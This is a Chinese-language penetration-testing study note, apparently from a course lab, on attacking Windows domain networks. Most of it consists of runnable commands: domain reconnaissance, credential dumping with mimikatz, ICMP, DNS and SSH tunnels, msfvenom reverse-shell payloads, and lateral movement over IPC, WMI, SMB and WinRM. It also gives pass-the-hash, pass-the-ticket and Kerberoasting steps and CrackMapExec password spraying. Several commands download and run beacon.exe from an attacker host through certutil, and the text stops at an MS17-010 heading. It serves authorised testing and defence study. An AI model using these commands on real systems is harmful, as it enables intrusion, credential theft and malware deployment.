局域网:小型办公室,家里
工作组:学校机房,网吧
内网域:大型机器组成的内网,域控即主控制器可以管理电脑,负责下发任务和统一管理,对所有的机器进行软件安装、环境部署

域用户 whoami 会显示 DC 名字而不是主机名,此时去下载软件受限于域控,如果域控未开通域成员下载软件的功能,则域成员下载软件时需要征得域控的同意。此时如果切换为普通用户,即 whoami 显示主机名时可以下载软件,将不受域控的管理限制。

# 域信息收集

  • 一些注意事项

( 1 )linux 可以成为一个域成员主机,在域内环境并不常见。

( 2 )域内有 DNS 服务器做解析,由域控分配解析规则,不允许在互联网解析。

( 3 )判断是否在域内
net view /domain 判断存在域
net time /domain 判断主域

( 4 )获取域控 ip
net time /domain 获取域控时间,ping 此命令返回的域控名得到域控 ip

# 应用 服务 权限收集

1
2
3
4
5
6
7
8
9
10
11
12
systeminfo 详细信息
netstat -ano 端口列表
route print 路由表
net start 启动服务
tasklist 进程列表
schtasks 计划任务
ipconfig /all 判断存在域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址
wmic service list brief 查询本机服务
net config workstation 查询当前登录域及登录用户信息
wmic startup get command,caption 查看已启动的程序信息

# 网络 用户 域控收集

1
2
3
4
5
6
7
8
9
10
net view /domain 查询域列表
net time /domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判 断主域,主域一般用做时间服务器
net localgroup administrators 本机管理员【通常含有域用户】
net user /domain 查询域用户(当前域)
net group /domain 查询域工作组
net group "domain computers" /domain 查看加入域的所有计算机名
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup administrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控
net accounts /domain 查看域密码策略

# 密码 凭据 口令收集

旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备
计算机用户 HASH,明文获取 - mimikatz (win),mimipenguin (linux)
计算机各种协议服务口令获取 - LaZagne (all),XenArmor (win),CS 插件

https://github.com/gentilkiwi/mimikatz/
https://github.com/AlessandroZ/LaZagne/
https://github.com/huntergregal/mimipenguin
https://xenarmor.com/allinone-password-recovery-pro-software/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
( 1 )站点源码备份文件、数据库备份文件等
( 2 )各类数据库Web管理入口,如PHPMyAdmin
( 3 )浏览器保存密码、浏览器Cookies
( 5 )其他用户会话、 3389 和ipc$连接记录、回收站内容
( 6 )Windows 保存的WIFI密码
( 7 )网络内部的各种帐号和密码,如:Email、VPN、FTP、OA等
````

#### 自动化工具探针

工具只是辅助,实际过程中涉及到的问题繁多,需要配合手动解决各种问题。

https://github.com/k8gege/LadonGo
https://github.com/BloodHoundAD/BloodHound
http://www.joeware.net/freetools/tools/adfind/index.htm

CS插件:LSTAR Ladon OLa TaoWu等

- Adfind

```shell
列出域控制器名称:AdFind -sc dclist
查询当前域中在线的计算机:AdFind -sc computers_active
查询当前域中在线的计算机(只显示名称和操作系统):
AdFind -sc computers_active name operatingSystem
查询当前域中所有计算机:AdFind -f "objectcategory=computer"
查询当前域中所有计算机(只显示名称和操作系统):
AdFind -f "objectcategory=computer" name operatingSystem
查询域内所有用户:AdFind -users name
查询所有GPO:AdFind -sc gpodmp
  • BloodHound 域分析使用

http://cn-sec.com/archives/146548.html
https://github.com/BloodHoundAD/BloodHound

攻击机启动 neo4j 数据库 neo4j.bat console、内网启动 BloodHound 收集信息 SharpHound.exe -c all 生成 zip 文件、运行 BloodHound.exe 后将生成数据导入,筛选查看。

# 隧道技术

# 隧道基础理论

  • 相关名词解释

隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)
代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)
域控防火墙更新策略:域控通过强制按钮或域内用户用 gpupdate/force 更新域控防火墙设置

  • 域控防火墙 - 组策略不出网上线

域控通过组策略设置防火墙规则同步后,域内用户主机被限制 TCP 出网,其中规则为出站规则,安全研究者通过入站取得 SHELL 权限,需要对其进行上线控制。可利用正向连接或者隧道技术来实现。

tcp 转 ICMP 协议出网在返回 tcp 协议项目:
https://github.com/esrrhs/spp
https://github.com/bdamele/icmpsh
https://github.com/esrrhs/pingtunnel

  • 使用出网协议建立隧道

SMB 隧道: 445 通讯、借助通讯后绑定上线、直接 SMB 协议通讯即可
ICMP 隧道:ping 命令、借助项目 (icmpsh icmptunnel pingtunnel) 通讯
DNS 隧道:nslookup dig、内网主机只出网 DNS 协议数据,
SSH 隧道:由于 cs 无 SSH 协议监听器配置,无法上线

域名申请及配置 ns 解析记录、监听器创建选择 DNS 解析及其地址、后门绑定监听器,肉鸡执行 DNS 设置的木马上线主机,是一个 unknown 的主机,输入相关命令后成功上线。

# icmp 隧道

  • cs 控制 tcp 被禁用的域内主机
1
2
3
4
5
6
7
8
9
10
# 跳板机开启隧道
./pingtunnel -type server

# 肉鸡(管理器运行)
pingtunnel.exe -type client -l 127.0.0.1:6666 -s 192.168.46.66 -t 192.168.46.66:7777 -tcp 1 -noprint 1 -nolog 1

# CS监听器
127.0.0.1 6666 192.168.46.66 7777

# 生成第一个监听器的Stager后门肉鸡执行后上线第二个监听器的马肉鸡将流经本地tcp流量的 6666 端口以icmp流量的方式转发至跳板机的 7777 端口,并且不输出任何日志,跳板机负责接收此流量。cs 的木马监听器从跳板机的 7777 端口处获取到肉鸡的反弹shell。
  • msf 控制 tcp 被禁用的域内主机
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 生成后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 - f exe > xd.exe

# MSF启动监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit

# Kali开启隧道
./pingtunnel -type server

# Win 开启隧道(管理员运行)
pingtunnel.exe -type client -l 127.0.0.1:3333 -s 192.168.46.66 -t 192.168.46.66:4444 -tcp 1 -noprint 1 -nolog 1

# dns 隧道

( 1 )前提条件
使用场景:内网主机只出网 DNS 协议数据
项目地址:https://github.com/yarrick/iodine
判断出网:nslookup http://www.baidu.com

( 2 )设置方法

1
2
3
4
5
6
7
8
# 服务器:设置密码xiaodi并创建虚拟IP及绑定域名指向
iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD

# 客户端:连接密码xiaodi并绑定域名指向
iodine -f -M 200 -P xiaodi ns1.xiaodi8.com

# 尝试通讯尝试连接:
ssh root@192.168.0.2

( 3 )结果
会在外网主机上建立一块名为 192.168.0.1 的网卡,并且密码是 xiaodi。在内网主机上有一块 192.168.0.2 的 ip 地址,可以让外网直接访问。即外网通过新生成的 DNS 隧道访问到内网机器,一般用来控制 linux 的 ssh,在 windows 上使用时需安装 openvpn。

# ssh 隧道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 开启ssh协议登录
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart

# 本地 8080 流量转发至跳板机 1122 ,解决出站规则限制问题
ssh -CfNg -L 1122:192.168.1.15:8080 root@192.168.1.166
curl http://127.0.0.1:1122

# 本地 8080 流量转发至跳板机 1234 ,解决入站规则限制问题
ssh -CfNg -R 1234:192.168.1.15:8080 root@47.94.236.117
curl http://127.0.0.1:1234

# 代理技术

# 跳板机间接控制

控制跳板机后,右键设置代理端口
命令:socks 59578
操作:通过 profixier 设置代理服务器及代理规则后可以访问刀内网资产

# msf 正向控制

1
2
3
4
5
6
7
8
9
# 生成后门
msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=3333 -f exe > bd.exe

# 让不出网的机器去执行这个正向连接的后门:
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.11.129
set lport 3333
run

# cs 正向控制

CS 控制上线 - 正向连接

1
2
3
4
5
6
# 监听器设置正向连接
bind_tcp port

# 生成监听器为正向连接的后门供不出网肉鸡执行
# 打开会话交互连接不出网主机正向连接的shell
connect ip port

# 不出网机器上线

  • windows 2008 机器的控制

在控制 windows 10 的基础上,此时已经用 cs 上线此机器。通过 windows 2008 做反向连接到 windows 10 上,并在 window 10 上做端口转发。右键 windows 选择转发上线,生成木马,供 2008 执行获取其权限。

  • windows 2012 机器的控制

如果采用正向连接,因为其本身采用了入站限制,无法突破。
如果采用反向连接,因为 windows 2008 采用了入站限制,仍无法突破。

如果用 pingtunnel 将 tcp 流量转为 icmp 出 windows 2012 ,无法突破 windows 2008 的入站。因为到了 windows 2008 处时流量变成了 tcp,仍被限制。
因为开了打印机服务,可以通过 smb 即文件共享协议来进行上线。

创建 smb 的监听器,防火墙允许 smb 就可以借助 smb 管道,配合 smb 的横向移动利用,psexec 64 进行操作,前提是获取到其账户密码。

  • 防火墙限制绕过

入站过滤上线:隧道技术正向硬刚、反向连接跳过、防火墙开关,删除规则,替换程序。
出站过滤上线:隧道技术反向硬刚、正向连接跳过、防火墙开关,删除规则,替换程序。
两者都有:smb 是否开启,进行 smb 隧道上线

实际环境中两种方法都测试判断是入站还是出站限制或者两者都有
第三种方案:单纯的内网环境、单纯的内网域环境(域控没有设置组策略防火墙同步)

# 内网穿透上线

  • 穿透的作用

旨在代理连接肉鸡后实现本地渗透肉鸡网络架构
( 1 )流量代理工具:Proxychains Proxifier
( 2 )穿透项目:Ngrok Frp Spp Nps

https://www.ngrok.cc
https://github.com/esrrhs/spp
https://github.com/fatedier/frp
https://github.com/ehang-io/nps

# Ngrok 上线内网机器

1
2
3
4
5
6
7
8
9
10
11
12
13
# 服务端配置:开通隧道-TCP协议-指向IP和端口-开通隧道-连接隧道

# 客户端连接服务端
# 控制端连接 Ngrok 的服务器
./sunny clientid 133328291918

# 客户端生成后门配置监听
msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10134 -f exe -o tcp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
run

# Frp 上线内网机器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 服务器修改配置文件frps.ini:
[common]
bind_port = 7000

# 启动服务端:
./frps -c ./frps.ini

# 控制端修改配置文件frpc.ini:
[common]
server_addr = 47.94.236.117
server_port = 7000 #frpc工作端口,必须和上面frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的 5555
remote_port = 6000 #服务端用 6000 端口转发给本机

# 启动客户端:
./frpc -c ./frpc.ini

# msf生成木马并监听
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 - f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

# Nps 上线内网机器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 服务端启动
./nps install && ./nps

# 访问:
http://IP:8080/ admin/123

# 创建客户端,生成密匙
./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v

# msf生成木马,远程绑定5555,指向本地 6666
msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5555 - f exe -o nps.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run

# Spp 上线内网机器

1
2
3
4
5
6
7
8
9
# 服务端:监听本地的icmp数据
./spp -type server -proto ricmp -listen 0.0.0.0

# 客户端:将本地的 8082 给到 117 这 8081 上(TCP封装icmp)
spp -name "test" -type proxy_client -server 47.94.236.117 -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp

# CS配置
# 监听器 1 :http 47.94.236.117 8081
# 监听器 2 :http 127.0.0.1 8082 - 生成后门

# 横向渗透技术

  • 域信息收集
1
2
3
4
# 利用cs脚本收集是否存在域,域内用户,端口开放情况,明文和hash
net user /domain (cs使用时需要在命令前加shell)
mimikatz logonpasswords
Ladon Adfinder BloodHound

# IPC 横向移动

IPC 是专用管道,可以实现对远程计算机的访问,需要使用目标系统用户的账号密码,使用 139 、 445 端口。

( 1 )IPC 上线的使用流程

建立 IPC 链接到目标主机、拷贝要执行的命令脚本到目标主机、查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本、删除 IPC 链接

( 2 )IPC 使用时需要的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 工作组
net use \\server\ipc$ "password" /user:username

# 域内
net use \\server\ipc$ "password" /user:domain\username

# 查看文件列表
dir \\xx.xx.xx.xx\C$\

# 下载文件
copy \\xx.xx.xx.xx\C$\1.bat 1.bat

# 复制文件
copy 1.bat \\xx.xx.xx.xx\C$

# 删除IPC
net use \\xx.xx.xx.xx\C$\1.bat /del

# 查看对方共享
net view xx.xx.xx.xx

( 3 )建立 IPC 失败的原因

目标系统不是 NT 或以上的操作系统、对方没有打开 IPC$ 共享、对方未开启 139、445 端口,或者被防火墙屏蔽、输出命令、账号密码有错误

IPC 渗透完整流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 上线配置
# 正向:配置监听器beacon_bind_tcp并生成木马,木马运行连接
connect 192.168.3.32 4444
# 反向:选择需要转发的已经控制的肉鸡,代理转发->转发上线->beacon.exe

# Windows2012以下采用at命令
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接
copy beacon.exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务
* 计划任务执行后,木马被执行,在cs上会上线

# Windows2012及其以上采用schtasks命令
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接
copy beacon.exe \\192.168.3.32\c$ #复制文件到其C盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\beacon.exe /F #创beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.21 /tn beacon /f#删除beacon任务
  • Impacket-Atexec 套件

该工具是一个半交互的工具,适用于 Webshell 下,Socks 代理下;在渗透利 用中可以收集用户名、明文密码、密码 hash、远程主机等做成字典,批量测试。 一般选择 py 程序,比较轻量,体积较小,不易被识别。需要编写脚本进行批量 通过 IPC 通道下载木马,执行木马,针对不同的用户名,密码,hash 尝试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# py版:https://github.com/SecureAuthCorp/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 "ver"
python atexec.py -hashes :ccef208c648* ./administrator@192.168.3.21 "v"

# Exe版:https://gitee.com/RichChigga/impacket-examples-windows
# CS本地用户明文连接
shell atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"

# CS域内用户明文连接
shell atexec.exe god/administrator:Admin12345@192.168.3.21 "ver"

# CS域内本地用户明文密文连接
shell atexec.exe - hashes :ccef208c648526* ./administrator@192.168.3.21 "whoami"
shell atexec.exe - hashes :ccef208c648526* god/administrator@192.168.3.21 "whoami"

# WMI 横向渗透

WMI 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

1
2
3
4
5
6
7
# wmic 内部:(单执行,只能用明文密码)
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process
call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe & c:/beacon.exe"

# cscript 内置:(生成交互式shell)
# 先上传wmiexec.vbs至肉机
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
  • Impacket-Wmiexec 套件
1
2
3
4
5
6
# 通过明文密码或者hash执行命令:
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec -hashes :518b98ad4178a ./administrator@192.168.3.32 "whoami"

# 下载后门并执行:
wmiexec ./Administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe & c:/beacon.exe "

# SMB 横向渗透

利用 SMB 服务可以通过明文或 hash 传递来远程执行, 445 服务端口开放。

1
2
3
4
5
6
7
8
9
10
11
# 内置命令psexec64 、外部命令psexec
# 内部
psexec64 \\192.168.3.32 - u administrator - p admin!@#45 - s cmd

# 外部
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
# 插件:cs-psexec

# 内置命令services
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell
  • Impacket-Smbexec 套件
1
2
3
4
5
6
7
8
9
10
# 针对明文密码
# 普通用户
smbexec ./administrator:admin!@#45@192.168.3.32

# 域内用户
smbexec god/administrator:admin!@#45@192.168.3.32

# 针对hash(交互式的shell,可以在cmd上下载木马绕过杀软)
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32

# CrackMapExec

( 1 )工具批量密码喷射(支持 hash)

Github:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html
下载对应 release,建立 socks 连接,设置 socks 代理,配置规则,调用!

( 2 )Linux Proxychains 使用

安装使用:https://blog.csdn.net/qq_53086690/article/details/121779832
代理配置:Proxychains.conf
代理调用:Proxychains 命令

( 3 )CrackMapExec 使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 密码喷射域用户登录
proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45'

# 密码喷射本地用户登录
proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth

# 密码喷射本地登录命令执行
proxychains python cme smb 192.168.3.21-32 -u administrator -p 'admin!@#45' -x 'whoami' --local-auth

# 密码喷射本地登录命令执行上线
proxychains python cme smb 192.168.3.21- 32 - u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4455.exe c:/4455.exe & c:/4455.exe' --local-auth

# 密码喷射域登录命令执行上线
proxychains python cme smb 192.168.3.21- 32 - u administrator -p 'admin!@#45' -x 'cmd.exe /c certutil -urlcache -split -f [http://192.168.3.31/4455.exe](http://192.168.3.31/4455.exe) c:/4455.exe & c:/4455.exe'

# 密码喷射本地和域登录命令执行全自动上线
proxychains python cme smb 192.168.3.21- 32 - u user.txt -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f [http://192.168.3.31/4455.exe](http://192.168.3.31/4455.exe) c:/4455.exe & c:/4455.exe'
proxychains python cme smb 192.168.3.21- 32 - u administrator -p pass.txt -x 'cmd.exe /c certutil -urlcache -split -f [http://192.168.3.31/4455.exe](http://192.168.3.31/4455.exe) c:/4455.exe & c:/4455.exe' --local-auth

# PTH 哈希传递攻击

PTH (pass the hash):哈希传递攻击,利用的 lm 或 ntlm 的值进行的渗透测试(NTLM 认证攻击)

PTH = Pass The Hash,通过密码散列值 (通常是 NTLM Hash) 来进行攻击。 在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账 号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就 可以使用哈希传递的方法登录到内网主机的其他计算机。另外注意在 Window S erver 2012 R2 之前使用到的密码散列值是 LM、NTLM,在 2012 R2 及其版本 之后使用到的密码散列值是 NTLM Hash。

( 1 )mimikatz

1
2
3
4
5
6
7
8
9
10
11
12
13
# 改回连时间-提权至system-继续改回连时间-导出hash和明文此方法会在肉鸡上弹出cmd,如果条件不满足,则一般不采用这种方法
mimikatz privilege::debug

# 通过pth导入票据攻击此票据对应的机器
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a5xxx

# 在肉鸡上弹出来的cmd执行以下命令
net use \\192.168.3.32\c$
copy beacon.exe \\192.168.3.32\c$

# 通过创建服务绑定exe程序上线exe程序
sc \\sqlserver create bshell binpath= "c:\4.exe"
sc \\sqlserver start bshell

( 2 )impacket 套件

1
2
3
4
5
6
7
8
# 将肉鸡进行socket代理转发,用proxifier建立规则,通过本机的套件进行测试,通过cs的文件浏览功能将木马放在跳板机web上
# 用cmd窗口下载木马运行上线。当hash与所要攻击的主机及用户名对应的时候,则会取得权限。但是受限于这三种方法的协议端口是否正常开启。
psexec -hashes :NTLM值 域名/域用户@域内ip地址
smbexec -hashes :NTLM值 域名/域用户@域内ip地址
wmiexec -hashes :NTLM值 域名/域用户@域内ip地址
python psexec.py -hashes :518b98ad48a* ./administrator@192.168.3.32
python smbexec.py -hashes :518b98ad78a* ./administrator@192.168.3.32
python wmiexec.py -hashes :518b98ad41a* ./administrator@192.168.3.32

( 3 )CrackMapExec 密码喷射
项目地址:https://github.com/Porchetta-Industries/CrackMapExec
官方手册:https://mpgn.gitbook.io/crackmapexec/
部分案例:https://www.freebuf.com/sectool/184573.html

下载对应 release,建立 socks 连接,设置 socks 代理,配置规则,修改 Proxychains.conf 进行代理配置,而后通过 Proxychains 调用命令。依次对所有扫描到的用户进行 pth 攻击。

1
2
3
4
5
# a. 域用户HASH登录
proxychains python cme smb 192.168.3.21- 32 - u user.txt -H 518b98adxxx

# b. 本地用户HASH登录
proxychains python cme smb 192.168.3.21- 32 - u administrator -H 518b98xxx --local-auth

# PTT 票据传递攻击

PTT (pass the ticket) :票据传递攻击,利用的票据凭证 TGT 进行渗透测试(Kerberos 认证攻击)

Kerberos 相当于 web 中的 cookie 和 session,需要进行身份认证。票据自生成之后,存活时间较短,一般设置为 7 天,票据存活失效之后,此票据便无用。

链接:https://github.com/gentilkiwi/kekeo/releases

( 1 )MS14068 (webadmin 权限)
项目地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

MS14-068 是密钥分发中心 (KDC) 服务中的 Windows 漏洞。它允许经过 身份验证的用户在其 Kerberos 票证 (TGT) 中插入任意 PAC。该漏洞位于 kdcs vc.dll 域控制器的密钥分发中心 (KDC) 中。用户可以通过呈现具有改变的 PAC 的 Kerberos TGT 来获得票证。利用漏洞生成的用户的新身份票据尝试认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 获取SID值
shell whoami/user

# 生成票据文件
shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-121 8902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45

# 清除票据连接
shell klist purge

# 内存导入票据
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache

# 查看当前票据
shell klist

# 连接目标上线
shell dir \\OWA2010CN-GOD\c$
shell net use \\OWA2010CN-GOD\C$
copy beacon.exe \\OWA2010CN-GOD\C$
sc \\OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"
sc \\OWA2010CN-GOD start bindshell
# 注意:成功不成功看DC域控漏洞补丁打没打

( 2 )kekeo (高权限,需 NTLM)
当前主机肯定之前与其他主机连接过,所以本地会生成了一些票据,可以
导出这些票据,然后再导入票据进行利用。该方法类似于 cookie 欺骗。但是票 据是有有效期的,当前主机在连接过域控的话,有效期内可利用。即利用获取 的 NTLM 生成新的票据尝试认证。工具比较小的话可以上传到肉鸡,如果比较 大,还是需要通过 socket 代理。

通过横向到其他主机尽可能获得到比较多的 hash 值进行测试:

1
2
3
4
5
6
7
8
9
10
11
12
# 生成票据
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"

# 导入票据
shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"

# 查看票据
shell klist

# 利用票据连接
shell dir \\owa2010cn-god\c$
# 注意:成功不成功看ntlm哈希值的正确性

( 3 )mimikatz (高权限,需 Ticket)

1
2
3
4
5
6
7
8
9
10
11
12
13
# 利用历史遗留的票据重新认证尝试
# 导出票据
mimikatz sekurlsa::tickets /export

# 导入票据
mimikatz kerberos::ptt C:\Users\webadmin\Desktop\22d3a-2-1-40e00000-Administrator@krbtgt-god.org.kirbi

# 查看票据:
shell klist

# 利用票据连接:
shell dir \\owa2010cn-god\c$
# 注意:成功不成功看当前主机有没有被目标连接过

# PTK 密钥传递攻击

PTK (pass the key):密钥传递攻击,利用的 ekeys aes256 进行的渗透测试(NTLM 认证攻击)

PTK = Pass The Key,当系统安装了 KB2871997 补丁且禁用了 NTLM 的 时候,那我们抓取到的 ntlm hash 也就失去了作用,但是可以通过 PTK 的攻击 方式获得权限。这个方式利用条件比较苛刻,算的上是比较鸡肋的,一般很难 被利用到。

1
2
mimikatz sekurlsa::ekeys
mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值

# RDP 横向渗透

做了提权之后,进行一波 3389 端口扫描,一般配合创建新的用户,从跳板 机创建代理节点从本地接入肉鸡,需要注意的是,如果自己登陆的用户名与对 方的用户名一致,对方用户会被迫下线,反之不会。远程桌面服务支持明文及 HASH 连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
# 探针服务
# cs 内置端口扫描 3389
tasklist /svc | find "TermService" # 找到对应服务进程的PID
netstat -ano | find "PID值" # 找到进程对应的端口号

# 探针连接 CrackMapExec&MSF 批扫用户名密码验证
# 连接执行
# 明文连接:
mstsc /console /v:192.168.3.32 /admin

# HASH连接
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

# WinRM 横向渗透

WinRM 代表 Windows 远程管理,是一种允许管理员远程执行系统管理任务 的服务。默认情况下支持 Kerberos 和 NTLM 身份验证以及基本身份验证。需要 攻击机和受害机双方都启用的 Winrm rs 的服务。并且使用此服务需要管理员级 别凭据。

Windows 2008 以上版本默认自动状态,Windows Vista/win7 上必须手动启 动;Windows 2012 之后的版本默认允许远程任意主机来管理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 攻击机开启:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

# 探针可用:
cs 内置端口扫描 5985
powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

# 连接执行:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

# 上线CS&MSF:
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f [http://192.168.3.31/beacon.exe](http://192.168.3.31/beacon.exe) beacon.exe & beacon.exe"

# SPN Kerberos 攻击

在无法通过 mimikaza 获取到 hash 或者明文的时候,可以采用通过 kerberos 获取凭证中隐藏的具体密码。通过 spn 先扫描电脑上存在的服务列表,在针对服务进行利用。

( 1 )Kerberoasting 攻击的利用

SPN 服务发现、请求服务票据、服务票据的导出、服务票据的暴力破解

( 2 )项目地址推荐

https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
https://www.freebuf.com/articles/system/174967.html

( 3 )如需利用需要配置策略加密方式

黑客可以使用有效的域用户的身份验证票证 (TGT) 去请求运行在服务器上的一个或多个目标服务的服务票证。DC 在活动目录中查找 SPN,并使用与 S PN 关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。

请求的 Kerberos 服务票证的加密类型是 RC4_HMAC_MD5,这意味着服务 帐户的 NTLM 密码哈希用于加密服务票证。黑客将收到的 TGS 票据离线进行破 解,即可得到目标服务帐号的 HASH,这个称之为 Kerberoast 攻击。

如果我们有一个为域用户帐户注册的任意 SPN,那么该用户帐户的明文密 码的 NTLM 哈希值就将用于创建服务票证。

( 4 )Kerberos 攻击条件

采用 rc4 加密类型票据,工具 Rubeus 检测或看票据加密类型

Kerberos 攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# spn扫描
powershell setspn -T 0day.org -q */*
powershell setspn -T 0day.org -q */* | findstr "MSSQL"

# 工具检测
Rubeus kerberoast

# 手工请求:(要产生票据文件)
powershell Add-Type -AssemblyName System.IdentityModel
powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

# 查看票据
mimikatz kerberos:list
mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

# 导出
mimikatz kerberos::list /export

# 破解
python tgsrepcrack.py pass.txt "1-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"

# Exchange 攻击

  • Exchange 探针

( 1 )端口扫描
Exchange 会对外暴露接口如 OWA,ECP 等,会暴露在 80 端口,而且 25/587/2525 等端口上会有 SMTP 服务,所以可以通过一些端口特征来定位 exchange。

( 2 )SPN 扫描
powershell setspn -T 0day.org -q */*

( 3 )脚本探针版本并探测可能存在的 CVE
python Exchange_GetVersion_MatchVul.py xx.xx.xx.xx

  • Exchange 爆破

爆破账户密码进行登录 exchange 方便钓鱼,账户密码都是通过搜索凭证中获取。

Burp+Proxifier:直接将 web 流量捕获通过 burp 来爆破账户名和密码
工具链接 1:https://github.com/grayddq/EBurst
工具链接 2:https://github.com/lazaars/MailSniper

  • Exchange 漏洞
    https://www.cnblogs.com/xiaozi/p/14481595.html

确定内核版本 - 筛选 Server 版本 - 确定漏洞对应关系 - 选择漏洞进行漏洞,如 CVE-2020-0688 CVE-2020-17144,主要是为了控制 exchange 服务器,一旦控制 到服务器可以大规模邮件钓鱼,寻找相应 exchange 版本存在何种漏洞,搜素利 用脚本进行利用。

# 域控提权

# MS17010(CVE-2017-0146)

